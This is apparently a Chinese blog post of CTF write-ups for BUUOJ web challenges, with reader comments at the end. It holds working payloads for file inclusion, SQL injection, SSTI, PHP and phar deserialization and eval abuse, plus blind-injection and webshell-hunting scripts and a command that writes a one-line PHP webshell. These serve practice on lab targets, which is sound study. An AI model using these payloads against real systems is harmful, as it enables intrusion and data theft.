前几天队群里发的一个题目平台,题目质量挺不错的,都是些比赛的原题,刚好放假了,记录一下顺便督促自己
不定时更新。。。
1.Warmup
题目链接:靶机
进去一张滑稽,f12后看到注释source.php,访问后给出源码
<?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } } if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; } ?>
可以访问hint.php,给出提示:flag not here, and flag in ffffllllaaaagggg
提取了file中第一个?前面的部分,判断是否在白名单中,没有做路径穿越的限制,直接包含即可:
payload1: http://web5.buuoj.cn/source.php?file=source.php?/../../../../ffffllllaaaagggg
payload2: http://web5.buuoj.cn/source.php?file=source.php%253f/../../../../ffffllllaaaagggg
2.随便注
题目链接:http://web16.buuoj.cn/
只有一个输入框,尝试1'后报错:
error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
尝试了一下以为是布尔盲注:
-1%27%20or%20ascii(substr(database(),1,1))>1%23
写了个脚本之后发现网络环境不太好,老是断,就没再做
第二天又尝试了一下,发现并没有我想的那么简单,存在过滤:
preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
尝试堆叠注入,得到数据库名:
-1%27%3Bshow%20databases%3B%23
-1%27%3Bshow%20tables%3B%23
有两个表:1919810931114514和words
分别查看
-1%27%3B+show+columns+from+`1919810931114514`%3B%23
-1%27%3B+show+columns+from+`words`%3B%23
查看表中数据,发现flag在1919810931114514这个表里
这里经过google之后有两种思路:
1.预处理
mysql有这种用法:
prepare 变量名 from sql语句;
execute 变量名:
例如:
prepare hello from 'select database()';
execute hello;
因为过滤了select,所以我们可以用concat在prepare语句中进行拼接,然后执行:
set @query=concat(char(115,101,108,101,99,116)," flag from `1919810931114514`");
prepare hello from @query;
execute hello;
这里使用了临时变量query,不用的话会报错,不知道为什么,如果有谁知道请务必告诉我,谢谢
最终payload:
inject=-1%27%3BSet+%40query%3Dconcat%28char%28115%2C101%2C108%2C101%2C99%2C116%29%2C"+%60flag%60+from+%601919810931114514%60"%29%3BPREPARE+hello+from+%40query%3BEXECUTE+hello%3B%23
刚开始用的小写发现对set和prepare有过滤:strstr($inject, "set") && strstr($inject, "prepare")
改用大写即可
2.重命名
这思路很骚
当前使用的库有两张表,输入1,2或者1' or 1#得到的回显明显是words表中的,即默认的查询是对words表的查询,他有两个字段:id和data,可以进行如下更改:
rename table `words` to `other`;
rename table `1919810931114514` to `words`;
alter table `words` change `flag` `id` varchar(50);
把原本的words表改为其他名字,把存有flag的表名改为words,把flag名字改为id
payload:
inject=%27%3Brename+table+%60words%60+to+%60other%60%3Brename+table+%601919810931114514%60+to+%60words%60%3Balter+table+%60words%60+change+%60flag%60+%60id%60+varchar%2850%29%3B%23
然后提交1' or 1#获得flag
3.高明的黑客
题目链接:http://web15.buuoj.cn/
进去后直接提示www.tar.gz
下载后得到一堆(3000个左右)的php文件,内容很奇特,有大量的获取$_GET请求和eval,但测试几个均无法执行,写脚本搜索真正的后门:
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Time : 2019-06-28 18:45 # @Author : Eustiar # @File : findexp.py import requests import os import multiprocessing path = 'src目录' def testone(name): print('尝试:{}'.format(name)) with open(path + '/' + name) as f: text = f.readlines() gets = [] for i in text: start = i.find("$_GET['") if start != -1: end = i.find("']", start) gets.append(i[start+7: end]) for i in gets: res = requests.get('http://localhost:8080/src/{}?{}=echo%20Eustiar;'.format(name, i)) if 'Eustiar' in res.text: print('成功,文件%s口令为:%s' % (name, i)) return i return False def testall(allfile): for i in allfile: result = testone(i) if result: return True def main(): filenames = [] for i, j, k in os.walk(path): filenames = k # testall(filenames) pool = multiprocessing.Pool(processes=30) for i in range(0, len(filenames), 100): pool.apply_async(testall, args=(set(filenames[i:i+100]),)) pool.close() pool.join() if __name__ == '__main__': main()
跑了几分钟跑出来
payload:
xk0SzyKwfzw.php?Efa5BVG=cat%20/flag
4. easy_tornado
题目链接:http://web9.buuoj.cn/
进去之后有三个链接,内容分别如下:
/flag.txt
flag in /fllllllllllllag
/welcome.txt
render
/hints.txt
md5(cookie_secret+md5(filename))
同时它的url也很有意思:
file?filename=/hints.txt&filehash=bf60e1051f59dbb931208200bcf8c08e
改变filename时会重定向至error?msg=Error报错
猜测要获得cookie_secret然后根据hint的方式来读取/fllllllllllllag
下面就是要找cookie_secret
题目名为easy_tornado,tornado是python的一个轻量级web框架,猜测存在ssti,尝试msg={{7*7}}返回ORZ,说明的确存在ssti
尝试 msg={{handler}}
返回 <__main__.ErrorHandler object at 0x7f243640d2d0>
由 msg={{handler.settings}}得到secret:
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'M)Z.>}{O]lYIp(oW7$dc132uDaK<C%wqj@PA![VtR#geh9UHsbnL_+mT5N~J84*r'}
构造读取即可
payload:
file?filename=/fllllllllllllag&filehash=70aed71508e50d160a73756a21e9953d
5.piapiapia
题目链接:http://web1.buuoj.cn/
进去之后是一个登录界面,试了一下register.php发现可以注册,注册完成后登录跳转到update.php,让填手机、邮箱、nickname以及上传一个图片,我尝试上传一个php文件,提示图片尺寸大小不对,以为是getimagesize的那个漏洞,又试了一下,发现什么格式的东西都能往上传。。。
尝试了半天无果,google了一下发现,这题应该0ctf2016的题,原题是给源码的,淦!
代码如下:
config.php
<?php $config['hostname'] = '127.0.0.1'; $config['username'] = 'root'; $config['password'] = ''; $config['database'] = ''; $flag = ''; ?>
profile.php
<?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } $username = $_SESSION['username']; $profile=$user->show_profile($username); if($profile == null) { header('Location: update.php'); } else { $profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo'])); ?>
update.php
<?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) { $username = $_SESSION['username']; if(!preg_match('/^\d{11}$/', $_POST['phone'])) die('Invalid phone'); if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email'])) die('Invalid email'); if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname'); $file = $_FILES['photo']; if($file['size'] < 5 or $file['size'] > 1000000) die('Photo size error'); move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name'])); $profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']); $user->update_profile($username, serialize($profile)); echo 'Update Profile Success!<a href="profile.php">Your Profile</a>'; } else { ?>
class.php
<?php require('config.php'); class user extends mysql{ private $table = 'users'; public function is_exists($username) { $username = parent::filter($username); $where = "username = '$username'"; return parent::select($this->table, $where); } public function register($username, $password) { $username = parent::filter($username); $password = parent::filter($password); $key_list = Array('username', 'password'); $value_list = Array($username, md5($password)); return parent::insert($this->table, $key_list, $value_list); } public function login($username, $password) { $username = parent::filter($username); $password = parent::filter($password); $where = "username = '$username'"; $object = parent::select($this->table, $where); if ($object && $object->password === md5($password)) { return true; } else { return false; } } public function show_profile($username) { $username = parent::filter($username); $where = "username = '$username'"; $object = parent::select($this->table, $where); return $object->profile; } public function update_profile($username, $new_profile) { $username = parent::filter($username); $new_profile = parent::filter($new_profile); $where = "username = '$username'"; return parent::update($this->table, 'profile', $new_profile, $where); } public function __tostring() { return __class__; } } class mysql { private $link = null; public function connect($config) { $this->link = mysql_connect( $config['hostname'], $config['username'], $config['password'] ); mysql_select_db($config['database']); mysql_query("SET sql_mode='strict_all_tables'"); return $this->link; } public function select($table, $where, $ret = '*') { $sql = "SELECT $ret FROM $table WHERE $where"; $result = mysql_query($sql, $this->link); return mysql_fetch_object($result); } public function insert($table, $key_list, $value_list) { $key = implode(',', $key_list); $value = '\'' . implode('\',\'', $value_list) . '\''; $sql = "INSERT INTO $table ($key) VALUES ($value)"; return mysql_query($sql); } public function update($table, $key, $value, $where) { $sql = "UPDATE $table SET $key = '$value' WHERE $where"; return mysql_query($sql); } public function filter($string) { $escape = array('\'', '\\\\'); #\ \\ $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); } public function __tostring() { return __class__; } } session_start(); $user = new user(); $user->connect($config);
可以看到flag在config.php中
profile.php中
$profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo']));
有一个反序列化,初步思路是构造$profile修改photo来读取config.php
寻找profile的赋值
在update.php中可以看到,就是之前提到的提交的四个值
将四个值存放在一个数组中,序列化后存入数据库
初步没有发现可以利用的地方,继续看,发现在class.php中有这样一个方法:
public function filter($string) { $escape = array('\'', '\\\\'); #\ \\ $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); }
这是一个防止sql注入的过滤方法,对输入中的单引号、反斜杠以及一些敏感词进行替换
在user类提供的方法例如update_profile等函数中,先使用这个函数对输入参数进行了处理
但是注意,在update.php中,调用update_profile时,传入的是已经序列化的数组字符串
对于 select insert update delete四个单词,长度都是6,替换为hacker后不变
而对于 where,长度为5,替换为hacker后长度发生了改变,这里就有可以利用的地方了,具体如下:
对于这样一个序列化的数组
a:2:{i:0;s:5:"where";i:1;s:5:"world";}
经过filter后变为
a:2:{i:0;s:5:"hacker";i:1;s:5:"world";}
当然,如果对这个字符串直接进行反序列化,会失败,但是考虑,对于多出来的这个字母r,如果他不只是r,而是";i:1;s:5:"world";}
则应为:
a:2:{i:0;s:5:"hacke";i:1;s:5:"world";}";i:1;s:5:"world";}
php反序列化时会忽略后面的非法部分";i:1;s:5:"world";},所以可以反序列化成功,这样一来,我们只需多输入几个where,就可以控制profile
在updata.php中对nickname的检验如下:
preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10
使用数组传递即可绕过,即nickname[]
要逃逸的内容为";}s:5:"photo";s:10:"config.php";}共34个字符,所以需要34个where
在profile页面找到base64后的config.php
解码得到flag
6.Hack World
题目链接:http://web43.buuoj.cn/
直接给出了表名flag和字段名flag
布尔盲注,使用异或即可
过滤了空格,可以使用tab或者()
脚本:
def sql(): dic = string.digits + string.ascii_lowercase + string.ascii_uppercase + string.punctuation flag = '' length = 0 for i in range(1,40): length = len(flag) for j in dic: time.sleep(0.05) url1 = 'http://web43.buuoj.cn/index.php' data = {'id': '1^(ascii(substring((select(flag)from(flag)),{},1))={})'.format(i, ord(j))} res = requests.post(url1, data=data) if 'Error' in res.text: # if res.elapsed.seconds >= 1: flag += j print(flag) break if length == len(flag): break if __name__ == '__main__': sql()
每次请求加了0.05s的延时,因为我刚开始没有加的时候总是跑到一半就断了,不知道是我的网的问题还是靶机的问题
7.homebrew event loop
题目链接:http://web29.buuoj.cn/d5afe1f66147e857/
这个是ddctf的一道题,当时做了没有写wp,刚好借这个机会写一下
进去之后有几个选项,分别是查看源代码,商店,重置,返回首页
源码是使用flask框架写的web服务:
from flask import Flask, session, request, Response import urllib app = Flask(__name__) app.secret_key = '*********************' # censored url_prefix = '/d5afe1f66147e857' def FLAG(): return 'flag{************************}' # censored def trigger_event(event): session['log'].append(event) if len(session['log']) > 5: session['log'] = session['log'][-5:] if type(event) == type([]): request.event_queue += event else: request.event_queue.append(event) def get_mid_str(haystack, prefix, postfix=None): haystack = haystack[haystack.find(prefix)+len(prefix):] if postfix is not None: haystack = haystack[:haystack.find(postfix)] return haystack class RollBackException: pass def execute_event_loop(): valid_event_chars = set( 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#') resp = None while len(request.event_queue) > 0: # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......" event = request.event_queue[0] request.event_queue = request.event_queue[1:] if not event.startswith(('action:', 'func:')): continue for c in event: if c not in valid_event_chars: break else: is_action = event[0] == 'a' action = get_mid_str(event, ':', ';') args = get_mid_str(event, action+';').split('#') try: event_handler = eval( action + ('_handler' if is_action else '_function')) ret_val = event_handler(args) except RollBackException: if resp is None: resp = '' resp += 'ERROR! All transactions have been cancelled. <br />' resp += '<a href="./?action:view;index">Go back to index.html</a><br />' session['num_items'] = request.prev_session['num_items'] session['points'] = request.prev_session['points'] break except Exception, e: if resp is None: resp = '' # resp += str(e) # only for debugging continue if ret_val is not None: if resp is None: resp = ret_val else: resp += ret_val if resp is None or resp == '': resp = ('404 NOT FOUND', 404) session.modified = True return resp @app.route(url_prefix+'/') def entry_point(): querystring = urllib.unquote(request.query_string) request.event_queue = [] if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100: querystring = 'action:index;False#False' if 'num_items' not in session: session['num_items'] = 0 session['points'] = 3 session['log'] = [] request.prev_session = dict(session) trigger_event(querystring) return execute_event_loop() # handlers/functions below -------------------------------------- def view_handler(args): page = args[0] html = '' html += '[INFO] you have {} diamonds, {} points now.<br />'.format( session['num_items'], session['points']) if page == 'index': html += '<a href="./?action:index;True%23False">View source code</a><br />' html += '<a href="./?action:view;shop">Go to e-shop</a><br />' html += '<a href="./?action:view;reset">Reset</a><br />' elif page == 'shop': html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />' elif page == 'reset': del session['num_items'] html += 'Session reset.<br />' html += '<a href="./?action:view;index">Go back to index.html</a><br />' return html def index_handler(args): bool_show_source = str(args[0]) bool_download_source = str(args[1]) if bool_show_source == 'True': source = open('app1.py', 'r') html = '' if bool_download_source != 'True': html += '<a href="./?action:index;True%23True">Download this .py file</a><br />' html += '<a href="./?action:view;index">Go back to index.html</a><br />' for line in source: if bool_download_source != 'True': html += line.replace('&', '&').replace('\t', ' '*4).replace( ' ', ' ').replace('<', '<').replace('>', '>').replace('\n', '<br />') else: html += line source.close() if bool_download_source == 'True': headers = {} headers['Content-Type'] = 'text/plain' headers['Content-Disposition'] = 'attachment; filename=serve.py' return Response(html, headers=headers) else: return html else: trigger_event('action:view;index') def buy_handler(args): num_items = int(args[0]) if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0]) session['num_items'] += num_items trigger_event(['func:consume_point;{}'.format( num_items), 'action:view;index']) def consume_point_function(args): point_to_consume = int(args[0]) if session['points'] < point_to_consume: raise RollBackException() session['points'] -= point_to_consume def show_flag_function(args): flag = args[0] # return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it. return 'You naughty boy! 😉 <br />' def get_flag_handler(args): if session['num_items'] >= 5: # show_flag_function has been disabled, no worries trigger_event('func:show_flag;' + FLAG()) trigger_event('action:view;index') if __name__ == '__main__': app.run(debug=False, host='0.0.0.0')
商店可以花费1个点数购买1个diamond,初始有3点数
分析源码
有FLAG()这样一个函数可以获得flag,我们的目标就是触发它
有show_flag_function这样一个函数,不过是用来皮一下的,没有用处
还有一个get_flag_handler函数,当我们的diamond不少于5时调用了FLAG()
整个服务的流程大致如下:
用户发送这种形式的get请求action:view;shop,在视图函数entry_point中,首先触发trigger_event,将event加入任务队列和日志,然后触发execute_event_loop依次执行任务日志中的event
主要来看execute_event_loop的逻辑
从任务队列request.event_queue中每个event依次做以下处理:
判断是否以action:或func:开头,否则跳过
检查是否都是合法字符[a-zA-Z0-9_:;#],否则跳过
提取第一个:到第一个;之间的部分为action
提取第一个;之后的部分,以#做split后作为args
然后使用了危险函数eval来执行提供的函数,但是action是我们可以控制的,可以使用action=函数名# 的方式来忽略掉后面附加的部分,来执行自己想要的带参数(前面提到的args)的函数
FLAG()没有参数,无法直接调用
仔细观察可以发现买钻石的逻辑是先货后钱,二者是作为两个event存在的,所以可以考虑能否在二者之间插入执行get_flag_handler这个函数
添加event到任务队列中的函数是trigger_event,且恰好有一个参数,所以我们可以用前面提到的eval来执行这个函数,将买钻石和getflag加入任务队列:
?action:trigger_event%23;action:buy;5%23action:get_flag;
注意#要以%23的形式传递,不然会报错
trigger_event还将event记录加入了log,get_flag_handler也是调用FLAG后将其作为参数使用了trigger_event,我们可以从cookie中找到对应记录
session解密即可得到flag
8.unicorn shop
题目链接:http://web3.buuoj.cn/
进去之后是这样一个界面,可以提交商品号和价格,我试了一下,id这一项只有4提交有效,但此时会提示money不够,而价格这里根据回显:
Only one char(?) allowed!
只能提交一个字符
既然如此,尝试在price这一项提交一些非常规字符,比如%0a
发现报错了,而提交%97,又是另一种报错
尝试%97%df发现也是这一类报错,猜测应该提交某种utf8形式的编码,查一下unicode编码表,有本身代表较大数字的,比如\u2182代表10000,\u137c也代表10000,对应的utf8编码分别为\xe2\x86\x82,\xe1\x8d\xbc,提交任意一种即可
9.ctf473831530_2018_web_virink_web
<?php $sandbox = '/www/sandbox/' . md5('orange' . $_SERVER['REMOTE_ADDR']); mkdir($sandbox); chdir($sandbox); if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 20) { exec($_GET['cmd']); } else if (isset($_GET['reset'])) { exec('/bin/rm -rf ' . $sandbox); } echo "<br /> IP : {\$_SERVER['REMOTE_ADDR']}"; ?>
详情参考我另一片文章
这一题的条件宽松的多,20个字符,可以直接写个一句话木马
ip他给了,路径算一下md5就行
?cmd=>eval\(\$_GET[1]\)\; ?cmd=>\<\?php ?cmd=ls -t>1.php
10.shrine
靶机: http://web25.buuoj.cn
ssti,看这篇文章
payload:
http://web25.buuoj.cn/shrine/%7B%7Burl_for.__globals__[%27current_app%27].config[%27FLAG%27]%7D%7D
11.dropbox
靶机:http://web42.buuoj.cn/
进去之后是一个文件管理系统,下载会访问download.php,抓包修改文件名可以下载得到所有源码
删除时会访问delete.php,也可以修改文件名(测试的时候把题给删了。。隔了一天恢复的
具体利用原理可以搜一下phar反序列化漏洞
给个利用脚本:
<?php class User { public $db; } class File{ public $filename; public function __construct($name){ $this->filename=$name; } } class FileList { private $files; public function __construct(){ $this->files=array(new File('/flag.txt')); } } $o = new User(); $o->db =new FileList(); @unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
将生成的phar上传,上传时抓包改文件类型为image/jpeg,然后delete使用filename=phar://phar.jpg/test.txt即可
第二弹传送门:传送门
打赏作者
你好,我想问下,unicorn shop这题 “查一下unicode编码表,有本身代表较大数字的,比如\u2182代表10000,\u137c也代表10000”,为什么 “\u2182代表10000,\u137c也代表10000”,我查了一下unicode编码表,但是还是不太理解为什么它们代表10000,是我哪里理解错了吗?
有些字符代表对应语言中的数字,比如\u137c就是埃塞俄比亚文字中的10000,可以看一下这个:
https://www.compart.com/en/unicode/U+137C
[…] 还有另一种解法是重命名,转自这里,具体为: […]